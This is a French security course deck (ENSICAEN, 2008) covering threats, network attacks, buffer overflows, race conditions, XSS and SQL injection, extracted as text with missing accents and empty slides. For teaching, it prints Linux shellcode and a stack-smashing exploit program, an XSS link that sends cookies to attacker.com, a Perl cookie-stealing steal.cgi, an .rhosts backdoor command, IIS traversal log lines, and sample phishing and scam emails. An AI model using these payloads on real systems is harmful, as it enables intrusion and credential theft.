Académique Documents
Professionnel Documents
Culture Documents
Patrick Ducrot
patrick@ducrot.org http://www.ducrot.org/securite.pdf
Plan du document
Gnralits 3 Les menaces 24 Vulnrabilits du rseau 56 Vulnrabilits applicatives 93 Scurit des systmes 147 Les outils d'attaque/dfense 151 Chiffrement, tunnels et vpn 210 Firewall 228 Les honeypots 245 WiFi et scurit 251 Conseils et conclusion265
06/10/2008 - ENSICAEN (c) dp 2
Gnralits
06/10/2008
- ENSICAEN -
(c) dp
Un des moyens techniques pour faire fonctionner un systme dinformation est dutiliser un
Systme informatique
06/10/2008
- ENSICAEN -
(c) dp
Virus
Intgrit Disponibilit
RESEAU
Attaques rseau
Confidentialit (coute) Intgrit (modification paquets) Disponibilit (saturation)
Rayonnements
confidentialit
06/10/2008
- ENSICAEN -
(c) dp
06/10/2008
- ENSICAEN -
(c) dp
Phnomnes techniques
Explosion de la technologie des transferts de donnes. Grande complexit des architectures de systmes. Ouverture (pas toujours matrise) des rseaux de communication
06/10/2008 - ENSICAEN (c) dp 11
Phnomnes organisationnels
Besoin de plus en plus d'informations Grande diversit dans la nature des informations:
donnes financires donnes techniques donnes mdicales
Ces donnes constituent les biens de l'entreprise et peuvent tre trs convoites.
06/10/2008 - ENSICAEN (c) dp 12
Les botnets
La notion de botnet date des premiers rseaux irc (dbut des annes 1990). Rseau de machines contrles par un bot herder ou botmaster .
Contrle par: -Serveurs irc -Serveurs web -Requtes DNS -Messageries instantanes -Peer to Peer -Skype -
06/10/2008 - ENSICAEN (c) dp 14
Les botnets
Estimation: une machine sur quatre fait partie dun botnet, soit environ 154 millions de machines (Vinton Cerf Davos en janvier 2007). Un botnet peut tre utilis pour: Envoyer du spam Vol dinformations sensibles (avec un keylogger par exemple). Installer des spywares. Paralyser un rseau en dni de services Installer un site web malicieux (phishing) Truquer les statistiques de sites webs (sondage en lignes authentifis par des adresses IP, rmunration sur des clics de bannires, ) Quelques exemples: Jeanson James Ancheta, condamn en 2006 57 mois de prison ferme et trois ans de liberts surveilles, la tte dun botnet estim 400 000 machines. Pirate connu sous le pseudo de 0x80 . Lire larticle: http://www.washingtonpost.com/wp-dyn/content/article/2006/02/14/AR2006021401342.html
06/10/2008
- ENSICAEN -
(c) dp
15
Vengeance/rancune Politique/religion
source: http://www.zone-h.fr
Dfis intellectuels
06/10/2008 - ENSICAEN (c) dp 16
Lgislation
Matriel
06/10/2008
- ENSICAEN -
(c) dp
18
Niveaux de scurisation
Sensibilisation des utilisateurs aux problmes de scurit. Scurisation des donnes, des applications, des systmes d'exploitation. Scurisation des tlcommunications. Scurisation physiques du matriel et des accs.
06/10/2008
- ENSICAEN -
(c) dp
19
Politique de scurit
Compromis scurit - fonctionnalit. Identifier les risques et leurs consquences. Elaborer des rgles et des procdures mettre en uvre pour les risques identifis. Surveillance et veille technologique sur les vulnrabilits dcouvertes. Actions entreprendre et personnes contacter en cas de dtection d'un problme.
06/10/2008
- ENSICAEN -
(c) dp
20
06/10/2008
Quelques mthodes
EBIOS (Expressions des Besoins et Identification des Objectifs de Scurit)
http://www.ssi.gouv.fr/fr/confiance/ebios.html
06/10/2008
- ENSICAEN -
(c) dp
22
06/10/2008
- ENSICAEN -
(c) dp
23
Les menaces
06/10/2008
- ENSICAEN -
(c) dp
24
Techniques d'attaques
Social Engineering MICE (Money, Ideology, Compromise, Ego) Dumpster diving Shoulder surfing Sniffing Scannings etc.
- ENSICAEN (c) dp 25
06/10/2008
Dissimulation d'informations
L'information peut tre dissimule dans un but de protection (mot de passe, ) ou dans des buts moins lgaux. Diffrentes mthodes pour s'changer de l'information de manire sre:
chiffrement (symtrique,asymtrique) stganographie
Stganographie
Procd ancien de dissimulation d'informations sensibles parmi d'autres informations moins importantes. Exemple: lettre de George Sand Alfred de Musset:
06/10/2008
- ENSICAEN -
(c) dp
28
Stganographie
Fichiers graphiques ou sons assez adapts comme support. Cas particulier du watermarking. Exemples de logiciels:
Steganos Security Suite
http://www.steganography.com
outguess
http://www.outguess.org
MP3Stego
http://www.petitcolas.net/fabien/steganography/mp3stego/
06/10/2008 - ENSICAEN (c) dp 29
Virus
Portion de code inoffensive ou destructrice capable de se reproduire et de se propager. Diffrents types de virus: Virus boot Virus dissimul dans les excutables Macro virus Diffrentes contaminations possibles: change de disquettes Pices jointes au courrier lectronique Excutables rcuprs sur Internet etc.
06/10/2008 - ENSICAEN (c) dp 31
Vers
Proches des virus mais capables de se propager sur d'autres ordinateurs travers le rseau. Un moyen courant de propagation: le carnet d'adresses d'outlook (ex: "I Love you": dni de service sur les serveurs web). Quelques exemples: Code Red (utilisation d'une faille des serveurs IIS et dfiguration des sites) Blaster (utilisation d'une faille du protocole windows DCM RPC)
06/10/2008 - ENSICAEN (c) dp 32
06/10/2008
- ENSICAEN -
(c) dp
33
Chevaux de troie
Trs rpandu Quelques exemples pour Windows Back Orifice Permet de la remote administration . Sockets23 (Socket de Troie) Signale la prsence des ordinateurs infects sur des serveurs de discussion en direct de type irc.
06/10/2008 - ENSICAEN (c) dp 34
Les spywares
Dfinition du spyware (http://en.wikipedia.org/wiki/Spyware):
Un spyware ("espiogiciel") est un logiciel qui collecte des informations d'une machine et les envoie l'insu de l'utilisateur sans son consentement.
Concept invent par Microsoft en 1995. Quelques chiffres manant d'une tude du NCSA mene chez les abonns d'AOL en octobre 2004:
80% des PC tudis contenaient au moins 1 spyware. Un PC hberge en moyenne 93 spywares. 90% des personnes interroges n'ont jamais entendu parler de spyware.
Un spyware se dcline aujourd'hui en "adware" (logiciel d'affichage de publicit) et en "malware" ("pourriciel", logiciels hostiles)
- ENSICAEN (c) dp 35
06/10/2008
06/10/2008
- ENSICAEN -
(c) dp
36
Comparaison spyware/virus
Un virus est capable de se reproduire, en gnral pas les spywares. Un virus s'installe sur une machine scurit faible, un spyware va plutt inciter un utilisateur naf ou ignorant le tlcharger et l'installer. Un virus est destin utiliser des ressources de la machine et peut avoir des actions nocives (destruction de fichiers, ouverture de "backdoor", ). Un spyware n'est en principe pas destin endommager une machine. Les auteurs de spywares peuvent tre rmunrs, ce n'est bien sr pas le cas pour un crateur de virus. Le dlai d'apparition d'un spyware aprs dcouverte d'une faille peut donc tre trs court.
06/10/2008
- ENSICAEN -
(c) dp
37
Dtection de spyware
Comportement anormal de la machine:
Fentres "popup" intempestive. Page d'accueil du navigateur modifie. Apparitions d'icnes sur le bureau. Connexions Internet intempestives. Trafic rseau anormal. Dsactivation des outils de scurit locaux. DLL modifie (dtectable par un antivirus). Firewall personnel Outils anti rootkits Connexions rcurrentes et/ou nocturnes. Tlchargements suspects. Connexions vers des sites rputs pour tre lis au spyware. Connexions vers des sites non rfrencs dans un dns. Connexions vers des sites .ru .cc .tw .cn
06/10/2008
- ENSICAEN -
(c) dp
38
06/10/2008
- ENSICAEN -
(c) dp
39
06/10/2008
- ENSICAEN -
(c) dp
40
SPAM
Dfinition de la CNIL: Envoi massif et parfois rpt de courriers lectroniques non sollicits des personnes avec lesquelles lexpditeur na jamais eu de contact au pralable, et dont il a capt ladresse lectronique faon irrgulire.(pourriel en franais). SPAM=Spiced Pork And Meat, popularis par un sketch des Monty Python (http://www.dailymotion.com/swf/x3a5yl) Un message va tre dpos dans une liste de serveurs de courrier; les serveurs abuss vont envoyer une copie chaque destinataire. Courrier bas sur une liste dadresses collectes de manire dloyale et illicite. Messages peu coteux lenvoi mais coteux pour le destinataire.
06/10/2008
- ENSICAEN -
(c) dp
41
06/10/2008
- ENSICAEN -
(c) dp
43
06/10/2008
06/10/2008
- ENSICAEN -
(c) dp
45
06/10/2008
- ENSICAEN -
(c) dp
46
Exemple de compte-rendu
Types de virus rencontrs ces 30 derniers jours Virus Types Count W32/Netsky-P 3853 W32/Netsky-B 1488 W32/Netsky-D 981 W32/Zafi-B 723 W32/Netsky-C 337 W32/Netsky-Y 305 W32/MyDoom-O 265 W32/Netsky-N 214 W32/Zafi-D 94 W32/Netsky-AE 93 W32/Netsky-Z 70 W32/Bagle-AG 67 W32/Bagle-BK 64
06/10/2008 - ENSICAEN (c) dp 47
Phishing
Contraction de PHreaking et fISHING (Hameonnage). Technique d'ingnierie sociale utilise par des arnaqueurs (scammers) Technique ancienne mais utilise massivement depuis 2003. Par le biais de courrier lectronique, messages instantans, site webs, etc., on tente de duper l'utilisateur en le faisant cliquer sur un lien. L'objectif est d'obtenir des adresses de cartes de crdit, des mots de passe, etc. Les adresses sont collectes au hasard, mais statistiquement un utilisateur peut avoir l'impression de recevoir un courrier d'un site qui lui est familier (banque, ).
- ENSICAEN (c) dp 48
06/10/2008
06/10/2008
- ENSICAEN -
(c) dp
49
Exemple phishing
Dear valued PayPal member: Due to concerns, for the safety and integrity of the paypal account we have issued this warning message. It has come to our attention that your PayPal account information needs to be updated as part of our continuing commitment to protect your account and to reduce the instance of fraud on our website. If you could please take 5-10 minutes out of your online experience and update your personal records you will not run into any future problems with the online service. However, failure to update your records will result in account suspension. Please update your records on or before Oct 04, 2005. Once you have updated your account records your paypal account service will not be interrupted and will continue as normal. To update your PayPal records click on the following link: http://www.paypal.com/cgi-bin/webscr?cmd=_login-run Thank You. PayPal UPDATE TEAM
http://209.133.49.211/icons/cgi-bin/login.html
06/10/2008 - ENSICAEN (c) dp 50
06/10/2008
- ENSICAEN -
(c) dp
51
06/10/2008
- ENSICAEN -
(c) dp
52
Le "scam"
Pratique frauduleuse d'origine africaine ("ruse") pour extorquer des fonds des internautes. Rception d'un courrier lectronique du descendant d'un riche africain dcd dont il faut transfrer les fonds. Connue aussi sous le nom de 419 en rfrence l'article du code pnal nigrian rprimant ce type d'arnaque.
06/10/2008 - ENSICAEN (c) dp 53
Exemple de "scam"
Objet: ASSISTANCE GEORGES TRAORE ABIDJAN,CTE D'IVOIRE. AFRIQUE DE L'OUEST. Bonjour, Je vous prie de bien vouloir excuser cette intrusion qui peut paratre surprenante premire vue d'autant qu'il n'existe aucune relation entre nous. Je voudrais avec votre accord vous prsenter ma situation et vous proposer une affaire qui pourrait vous intresser. Je me nomme Georges TRAORE, j'ai 22 ans et le seul fils de mon Pre Honorable RICHARD ANDERSON TRAORE qui tait un homme trs riche, ngociant de Caf/Cacao bas Abidjan la Capitale Economique de la Cte d'Ivoire, empoisonn rcemment par ses associs. Aprs la mort de ma mre le 21 Octobre 2000, mon pre m'as pris spcialement avec lui. Le 24 Dcembre 2003 est survenu le dcs de mon pre dans une clinique prive (LAMADONE) Abidjan. Avant sa mort, secrtement, il m'a dit qu'il a dpos une somme d'un montant de ($8,500,000) Huit Millions Cinq Cent Mille Dollars Amricains dans une valise dans une Compagnie de Scurit Financire en mon nom comme hritier. En outre, il m'a dit que c'est par rapport cette richesse qu'il a t empoisonn par ses associs. Il me recommande aussi de chercher un associ tranger qui pourrait honntement me faire bnficier de son assistance pour sauver ma vie et assurer mon existence. - Changement de bnficaire ; Servir de gardien ; - Fournir un compte pour le transfert de fonds ; - M'aider le rejoindre dans son pays ; - Investir dans un domaine profitable. D'ailleurs, je vous donnerai 25 % et 5% serviront aux dpenses ventuelles qui seront effectues. .
06/10/2008
- ENSICAEN -
(c) dp
54
06/10/2008
- ENSICAEN -
(c) dp
57
Rappel : Entte IP
32 bits
Version IHL
Type Service
Flags
58
06/10/2008
- ENSICAEN -
(c) dp
59
Port destination
Taille de la fentre
Total de contrle
Pointeur d'urgence
06/10/2008
- ENSICAEN -
(c) dp
60
06/10/2008
- ENSICAEN -
(c) dp
61
Sniffer
Outil de base indispensable. Permet de visualiser les trames sur un segment de rseau. Ncessite des droits administrateurs. Attention au problme juridique Utilise des sockets en mode promiscuous
socket (AF_INET,SOCK_RAW,IPPROTO_RAW)
06/10/2008
- ENSICAEN -
(c) dp
62
Sniffer
Beaucoup de logiciels sniffers existants. Liste sur http://packetstormsecurity.org/sniffers Le sniffer de base pour unix: tcpdump. Disponible sur http://www.tcpdump.org. Grammaire trs volue. Affiche les enttes de paquets rpondant au critre spcifi.
06/10/2008 - ENSICAEN (c) dp 63
tcpdump exemple
tcpdump host e450 and port 25
11:41:46.783567 e450.ensicaen.ismra.fr.63842 > sdn.ismra.fr.smtp: S 3390960877:3 390960877(0) win 8760 <mss 1460> (DF) 11:41:46.784714 sdn.ismra.fr.smtp > e450.ensicaen.ismra.fr.63842: S 662708920:66 2708920(0) ack 3390960878 win 33580 <mss 1460> (DF) 11:41:46.784976 e450.ensicaen.ismra.fr.63842 > sdn.ismra.fr.smtp: . ack 1 win 87 60 (DF) 11:41:47.002410 sdn.ismra.fr.smtp > e450.ensicaen.ismra.fr.63842: P 273:320(47) ack 80 win 33580 (DF)
- ENSICAEN (c) dp 64
06/10/2008
Sniffer multi-plateforme
ethereal (http://www.ethereal.com) devenu wireshark (http://www.wireshark.org), un sniffer multi plateforme graphique.
06/10/2008
- ENSICAEN -
(c) dp
65
06/10/2008
- ENSICAEN -
(c) dp
66
IP Spoofing
Mthode d'attaque qui parodie l'adresse IP d'un autre ordinateur (usurpation). Permet de brouiller les pistes ou d'obtenir un accs des systmes sur lesquels l'authentification est fonde sur l'adresse IP (rlogin, rsh sur les machines numro de squence TCP prvisible).
06/10/2008
- ENSICAEN -
(c) dp
67
Usurpation d'identit
Exemple d'utilisation: attaque d'un remote shell: echo "+ +" >>/.rhosts
06/10/2008 - ENSICAEN (c) dp 68
06/10/2008
- ENSICAEN -
(c) dp
73
Recouvrement de fragments
Un paquet TCP peut leurrer un filtre IP en se scindant en 2 fragments qui se superposent:
1er fragment: paquet TCP avec flags SYN et ACK 0. 2me fragment contient la vrai demande de connexion avec un offset de 1 (octet).
06/10/2008
- ENSICAEN -
(c) dp
74
06/10/2008
- ENSICAEN -
(c) dp
75
cache poisoning
06/10/2008
- ENSICAEN -
(c) dp
77
Exemple: BIND
Vulnrabilit dcouverte en juillet 2007 touchant de nombreuses versions de BIND (CVE-2007-2926 , BID25037). Description du CERTA: "Une vulnrabilit a t identifie dans BIND. La faille
concerne le gnrateur d'identifiants de requtes, vulnrable une cryptanalyse permettant une chance leve de deviner le prochain identifiant pour la moiti des requtes. Ceci peut tre exploit par une personne malintentionne pour effectuer du cache poisoning et donc contourner la politique de scurit. "
06/10/2008 - ENSICAEN (c) dp 78
06/10/2008
- ENSICAEN -
(c) dp
79
arp spoofing
Pollution des caches arp avec de fausses associations adresse mac/adresse IP. Permet des attaques de type "man in the middle", DOS, transgression des rgles d'un firewall par spoofing.
06/10/2008
- ENSICAEN -
(c) dp
80
arp spoofing
Exemple d'outil d'arp spoofing:
arp-sk (unix) winarp-sk (windows)
http://www.arp-sk.org
WinArpSpoof
http://nextsecurity.net
06/10/2008
- ENSICAEN -
(c) dp
81
06/10/2008
- ENSICAEN -
(c) dp
82
tcp hijacking
06/10/2008
- ENSICAEN -
(c) dp
83
tcp hijacking
Numros de squence TCP pendant les changes:
Ut1 Seq x PSH/ACK y (10) Ut2 Ut1 Seq y PSH/ACK x+10 (20) Ut2 Ut1 Seq x+10 PSH/ACK y+20 (30) Ut2 Ut1 Seq y+20 PSH/ACK x+40 (10) Ut2 Pirate Seq x+40 PSH/ACK y+20 (30) Ut2 Ut1 Seq y+30 PSH/ACK x+70 (20) Ut2
Smurf
Envoie d'une trame ICMP "echo request" sur une adresse de diffusion. Exemple: ping 193.49.200.255 Mthode utilise pour dterminer les machines actives sur une plage IP donne.
06/10/2008 - ENSICAEN (c) dp 85
Attaque en Smurf
Objectif: crouler une machine 3 parties: l'attaquant, l'intermdiaire, la victime
Trame ICMP sur adresse de diffusion du site relai Adresse source: IP victime
06/10/2008
- ENSICAEN -
(c) dp
86
Parades au smurf
Interdire la rponse aux trames ICMP sur les adresses de diffusion:
Au niveau routeur Au niveau machine
06/10/2008
- ENSICAEN -
(c) dp
87
DDOS
Distributed Denial Of Service. Type d attaque trs en vogue. L objectif est d crouler une machine et/ou saturer la bande passante de la victime. Ncessite plusieurs machines corrompues. Attaque popularise le 14 fvrier 2000 sur quelques sites .com renomms (ebay, cnn, amazon, microsoft, ). Le coupable Mafiaboy , 15 ans, est arrt au Canada le 15 avril et condamn 8 mois de dtention. Il a caus des pertes estimes 1,2 milliards de dollars en 24 heures.
06/10/2008 - ENSICAEN (c) dp 88
Scnario d un DDOS
06/10/2008
- ENSICAEN -
(c) dp
89
Exemple de ddos
Une attaque DDoS paralyse de nombreux sites Date: 16 juin 2004 12:07:44 CEST Sujet: Scurit informatique, Virus Hier matin, une attaque des serveurs de la compagnie Akamai a rendu certains sites inutilisables. De nombreux sites dont ceux de Microsoft, Google, Yahoo, FedEx, Xerox et Apple taient injoignables pendant une courte priode. Akamai a dclar que plusieurs de ses clients avaient subit une attaque DDoS, ce qui avait provoqu un crash de leurs serveurs DNS. Les serveurs DNS n'taient alors plus capables de traduire les noms de domaines en adresses IP, ce qui rendait les sites inaccessibles. Les problmes ont dur plus de deux heures mais certains sites sont revenus en ligne plus rapidement grce leurs serveurs DNS de secours. On ne sait pas encore d'ou provenait l'attaque, ni quelle tait sa cible. Certains virus ont dj utilis des techniques similaires, notamment Netsky qui ciblait les rseaux d'change de fichiers Kazaa, eDonkey et eMule. En mai dernier, Akamai avait eu des problmes techniques. Les sites de Symantec et Trendmicro taient alors inaccessibles pour un grand nombre d'internautes, ce qui les empchait de recevoir les mises jour de leurs antivirus.
06/10/2008
- ENSICAEN -
(c) dp
92
Vulnrabilits applicatives
06/10/2008 - ENSICAEN (c) dp 93
Vulnrabilits applicatives
Beaucoup d'applications sont vulnrables dues de la mauvaise programmation (par manque de temps, de motivation, ) ou volontairement (amnagement d'un point d'entre, ). Toutes les applications ont besoin de scurit: services rseaux (daemons), les applications tlcharges (applet java, ), les applications web (scripts cgi, ), les applications utilises par l'administrateur ou disposant d'un bit setuid/setgid, visualisateur de donnes distantes,
06/10/2008 - ENSICAEN (c) dp 94
Dbordements de tampons (buffer overflow) Chanes de format Entres utilisateurs mal valides Les problmes de concurrence etc.
- ENSICAEN (c) dp 95
Buffer Overflow
Appele aussi "buffer overruns"; c'est une vulnrabilit extrmement tendue (environ 2/3 des vulnrabilits). criture de donnes en dehors de la zone alloue (pile ou tas).
06/10/2008
- ENSICAEN -
(c) dp
96
[dp@ns bufferoverflow]$ gdb demo (gdb) run aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa Starting program: /users/dp/bufferoverflow/demo aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa Program received signal SIGSEGV, Segmentation fault. 0x61616161 in ?? ()
06/10/2008 - ENSICAEN (c) dp 97
Buffer Overflow
Si le buffer est une variable C locale, on pourra essayer de forcer la fonction excuter du code pirate ("stack smashing attack"). Beaucoup d'applications crites en langage C sont vulnrables car la simplicit et l'efficacit de ce langage ont prvalu sur les contrles d'intgrit laisss la responsabilit du programmeur. Mais le problme existe galement dans d'autres langages de programmation.
06/10/2008
- ENSICAEN -
(c) dp
98
Storage file
Process in memory
06/10/2008
- ENSICAEN -
(c) dp
99
06/10/2008
- ENSICAEN -
(c) dp
101
06/10/2008
- ENSICAEN -
(c) dp
102
Code Shell
Le buffer overflow va tre utilis pour provoquer l'excution de /bin/sh, shell prsent dans toutes les distributions unix. Gnration du code assembleur de la squence: execve (argv[0],"/bin/sh",NULL) Exemple code Linux x86:
char shellcode[] = "\xeb\x22\x5e\x89\xf3\x89\xf7\x83\xc7\x07\x31\xc0\xaa" "\x89\xf9\x89\xf0\xab\x89\xfa\x31\xc0\xab\xb0\x08\x04" "\x03\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xd9\xff" "\xff\xff/bin/sh";
06/10/2008 - ENSICAEN (c) dp 103
strcpy overflow
long_ptr (4)
i (4)
buffer (96)
large_string (128)
shellcode
06/10/2008
- ENSICAEN -
(c) dp
105
Stack Smashing
Dans la ralit, les applications ne comportent naturellement pas de squence shell. L'exploitation d'un "buffer overflow" ncessite d'essaye de piger l'application avec la ligne de commande, les variables d'environnement shell, les entres de donnes interactives,
06/10/2008
- ENSICAEN -
(c) dp
106
Exemple dapplication
char shellcode[] = "\xeb\x22\x5e\x89\xf3\x89\xf7\x83\xc7\x07\x31\xc0\xaa\x89\xf9\x89\xf0\xab\x89\xfa\x31\xc0\ xab\xb0\x08\x04\x03\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xd9\xff"\xff\xff/bin/sh"; void main () { char buffer [128] ; int i ; long address = (long)&buffer ; for (i = 0 ; i < 128 ; i++) buffer [i] = 0x90 ; buffer [12] = address >> 0 & 0xff ; buffer [13] = address >> 8 & 0xff ; buffer [14] = address >> 16 & 0xff ; buffer [15] = address >> 24 & 0xff ; for (i = 0 ; i < strlen (shellcode) ; i++) buffer [128 - strlen (shellcode) + i] = shellcode [i] ; execl ("/users/dp/bufferoverflow/demo","demo",buffer,0) ; }
-rws--x--x 1 root
root
06/10/2008
- ENSICAEN -
(c) dp
107
Certains compilateurs peuvent mettre un repre ("canary") devant l'adresse de retour afin de la protger (stackguard driv de gcc).
06/10/2008 - ENSICAEN (c) dp 109
Exemple stackguard
sfp ret canary buffer
En cas dattaque
on crase le buffer, canary et ret avant le retour de la fonction, le programme vrifie le contenu de canary et dtecte lintrusion Le canary doit tre gnr alatoirement.
06/10/2008
- ENSICAEN -
(c) dp
110
Exemple de vulnrabilit
06/10/2008
- ENSICAEN -
(c) dp
111
Chanes de format
Problme connu depuis juin 1999 et exploit depuis juin 2000. Leur exploitation ont conduit des vulnrabilits "remote root" (wu-ftpd, linux tpc.statd, ) et "local root" (OpenBSD fstat, ) De nombreuses vulnrabilits sont probablement encore venir.
06/10/2008 - ENSICAEN (c) dp 112
Fonctions C de formatage
Exemples de telles fonctions: toute la famille des fonctions printf, syslog. Fonctions acceptant un nombre variable de paramtres dont l'un est une chane de format. Les variables affiches sont converties en une reprsentation affichable et comprhensible par l'homme.
06/10/2008 - ENSICAEN (c) dp 113
Exemple de vulnrabilit
06/10/2008
- ENSICAEN -
(c) dp
118
Race Condition
Toute ressource (fichiers, structure de donnes, ) peut tre manipule simultanment par plusieurs processus ou plusieurs threads. Certaines oprations doivent donc tre rendues atomiques. Les droits d'accs doivent tre trs prcis. Exemple: quel est danger du programme sur le transparent suivant, sachant que l'excutable appartient "root" et possde le SetUser ID (bit s) ?
06/10/2008 - ENSICAEN (c) dp 119
Race Condition
#include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <sys/stat.h> #include <sys/types.h> int main (int argc,char **argv) { struct stat st ; FILE *fp ; if (argc != 3) { fprintf (stderr,"usage : %s fichier message\n", argv [0]) ; exit (EXIT_FAILURE) ;} if (stat (argv [1], &st) < 0) {fprintf (stderr,"%s introuvable\n",argv [1]) ;exit (EXIT_FAILURE) ;} if (st.st_uid != getuid ()) {fprintf (stderr,"%s ne vous appartient pas !\n", argv [1]) ;exit (EXIT_FAILURE) ;} if (! S_ISREG (st.st_mode)) {fprintf (stderr,"%s n'est pas un fichier normal\n", argv [1]) ;exit (EXIT_FAILURE) ;} if ( (fp = fopen (argv [1],"w")) == NULL) {fprintf (stderr,"Ouverture impossible\n") ;exit (EXIT_FAILURE) ;} fprintf (fp,"%s\n",argv [2]) ;fclose (fp) ;fprintf (stderr,"Ecriture OK\n") ; exit (EXIT_SUCCESS) ; }
06/10/2008
- ENSICAEN -
(c) dp
120
Fonctions utiliser
Il faut conserver la totale matrise d'un fichier lors de sa manipulation d'un fichier. Quelques exemples de fonctions utilisables:
int open (pathname,flag,mode) fstat (inf fd,struct stat *st) Ouverture d'un fichier. Renvoie un descripteur Informations sur un fichier
FILE *fdopen (int fd,char *mode) Obtenir un flux partir d'un descripteur dj ouvert
06/10/2008
- ENSICAEN -
(c) dp
121
Fichiers temporaires
Les applications crent des fichiers temporaires dans /tmp
drwxrwxrwt 6 root root 1024 Sep 29 15:01 /tmp Problme quand le nom du fichier temporaire est prvisible et cr par une application root suid: Cration d'un lien symbolique entre ce fichier et un fichier systme critique (/etc/shadow par exemple) L'application doit tre ensuite tue pour qu'elle ne puisse effacer son fichier temporaire.
06/10/2008 - ENSICAEN (c) dp 122
Fichiers temporaires
Cration d'un rpertoire dans un rpertoire disposant d'un bit "t" (sticky bit):
Nom de fichier alatoire. Fichier ouvert avec les droits O_CREAT|O_EXCL (attention aux disques NFS avec O_EXCL).
La fonction tmpfile (3) cre un fichier temporaire dans le rpertoire spcifi par la variable P_tmpdir de stdio.h. Mais pas de prcision sur les droits d'accs.
Utiliser plutt mkstemp (3) en conjonction avec umask (2).
06/10/2008 - ENSICAEN (c) dp 124
Exemple de vulnrabilit
06/10/2008
- ENSICAEN -
(c) dp
126
Etude de cas
Microsoft IIS 4.0 et 5.0 tait vulnrable au problme: "MS IIS/PWS Escaped Characters Decoding Command Execution Vulnrability". Dtail sur http://www.securityfocus.com/cgi-bin/vulnsitem.pl?section=discussion&id=2708 Correctif sur http://www.microsoft.com/technet/security/bulletin/MS01026.asp
Exemples d'attaque
Donnes extraites du fichier de log de http://www.ensicaen.fr
host-213-191-162-202.warsun.com - - [27/Aug/2004:07:42:22 +0200] "GET /scripts/..%255c%255c../winnt/system32/cmd.exe?/c+dir" 404 195.224.89.179 - - [28/Aug/2004:14:17:43 +0200] "GET /scripts/..%255c%255c../winnt/system32/cmd.exe?/c+dir" 404 artemisa.escet.urjc.es - - [05/Sep/2004:20:17:35 +0200] "GET /scripts/..%255c%255c../winnt/system32/cmd.exe?/c+dir" 404 195.167.240.188 - - [08/Sep/2004:03:53:14 +0200] "GET /scripts/..%255c%255c../winnt/system32/cmd.exe?/c+dir" 404 128.192.164.95 - - [10/Sep/2004:02:46:42 +0200] "GET /scripts/..%255c%255c../winnt/system32/cmd.exe?/c+dir" 404 -
06/10/2008
- ENSICAEN -
(c) dp
131
06/10/2008
- ENSICAEN -
(c) dp
133
Pourquoi ce nom :
Attaque base sur lexcution de scripts dans le navigateur de la victime (javascript, vbscript, ). La victime passe dun site lautre sans sen apercevoir.
Lacronyme XSS:
CSS : Cascading Style Sheet XSS : Cross Site Scripting (excution croise de code).
06/10/2008 - ENSICAEN (c) dp 134
Intrt de XSS
http est un protocole sans notion de session: pas de lien entre les requtes reues par le serveur. Une session doit tre construite artificiellement: Par un cookie envoy au navigateur Par manipulation dURL contenant un identifiant Par des paramtres dun programme Etc.
06/10/2008
- ENSICAEN -
(c) dp
135
Exemple dattaque
06/10/2008
- ENSICAEN -
(c) dp
136
06/10/2008
- ENSICAEN -
(c) dp
137
<html> <a href="http://www.vulnerable.com/var=<script>do cument.location.replace(http://attacker.com/steal .cgi?+document.cookie);</script>"> cliquer ici pour recevoir 50 euros </a> </html> 06/10/2008 - ENSICAEN (c) dp 138
Script steal.cgi
#!/usr/bin/perl # steal.cgi by David Endler dendler@idefense.com # Specific to your system $mailprog = '/usr/sbin/sendmail'; # create a log file of cookies, well also email them too open(COOKIES,>>stolen_cookie_file); # what the victim sees, customize as needed print "Content-type:text/html\n\n"; print <<EndOfHTML; <html><head><title>Cookie Stealing</title></head> <body> Your Cookie has been stolen. Thank you. </body></html> EndOfHTML # The QUERY_STRING environment variable should be filled with # the cookie text after steal.cgi: # http://www.attacker.com/steal.cgi?XXXXX print COOKIES $ENV{'QUERY_STRING'} from $ENV{REMOTE_ADDR}\n; # now email the alert as well so we can start to hijack open(MAIL,"|$mailprog -t"); print MAIL "To: attacker\@attacker.com\n"; print MAIL "From: cookie_steal\@attacker.com\n"; print MAIL "Subject: Stolen Cookie Submission\n\n"; print MAIL "-" x 75 . "\n\n"; print MAIL $ENV{'QUERY_STRING'} from $ENV{REMOTE_ADDR}\n; close (MAIL);
06/10/2008
- ENSICAEN -
(c) dp
139
fichier test1_xss.php3
06/10/2008 - ENSICAEN (c) dp 140
Remde possible
Ne jamais faire confiance une saisie utilisateur. Ne jamais afficher lcran tel quel une saisie utilisateur. Filtrer tous les caractres indsirables (comme les caractres < et >). Exemple en php: print htmlspecialchars ("Bonjour $nom") ;
06/10/2008 - ENSICAEN (c) dp 141
Lauthentification .htaccess
Systme dauthentification frquemment utilis pour restreindre laccs au contenu de rpertoires spcifiques. Filtre par domaine, mcanisme login/mot de passe. Fichier .htaccess par dfaut.
06/10/2008 - ENSICAEN (c) dp 142
Exemple de connexion
06/10/2008
- ENSICAEN -
(c) dp
143
06/10/2008
- ENSICAEN -
(c) dp
144
Injection SQL
Beaucoup d'applications web s'appuient sur des bases de donnes. Les requtes SQL utilisent des informations saisies par les utilisateurs. Les informations doivent tre traites avant utilisation.
06/10/2008 - ENSICAEN (c) dp 145
Injection SQL
06/10/2008
- ENSICAEN -
(c) dp
146
Disponibilit
Plusieurs ordinateurs peuvent tre regroups en grappe (cluster) pour tre visibles comme un seul ordinateur et permettre:
D'augmenter la disponibilit De mieux rpartir la charge Permettre la monte en charge
Exemples:
xgrid (apple), cluster linux, windows server,
06/10/2008 - ENSICAEN (c) dp 148
Virtualisation
Ensemble des technologies matrielles et/ou logicielles qui permettent de faire fonctionner sur une seule machine plusieurs systmes d'exploitation et/ou plusieurs applications, sparment les uns des autres, comme s'ils fonctionnaient sur des machines physiques distinctes. Optimiser l'usage des ressources d'une machine tout en isolant les services entre eux. Diffrents niveaux de virtualisation:
Virtualisation native: les pilotes matriels sont muls pour permettre l'installation d'un autre systme d'exploitation. Paravirtualisation: mulation d'un systme mais utilisation des pilotes spcifiques au systme utilis. Virtualisation au niveau du systme d'exploitation: isolation de plusieurs environnements au sein du mme systme d'exploitation pour faire tourner diffrents services. - ENSICAEN (c) dp 149
06/10/2008
Logiciels de virtualisation
vmware: http://www.vmware.com
virtualisateur; seul le processeur n'est pas mul
xen: http://www.xensource.com/
Paravirtualisateur; supporte linux, freebsd, netbsd
vserver: http://www.linux-vserver.org
virtualisation des environnements
06/10/2008 - ENSICAEN (c) dp 150
06/10/2008
- ENSICAEN -
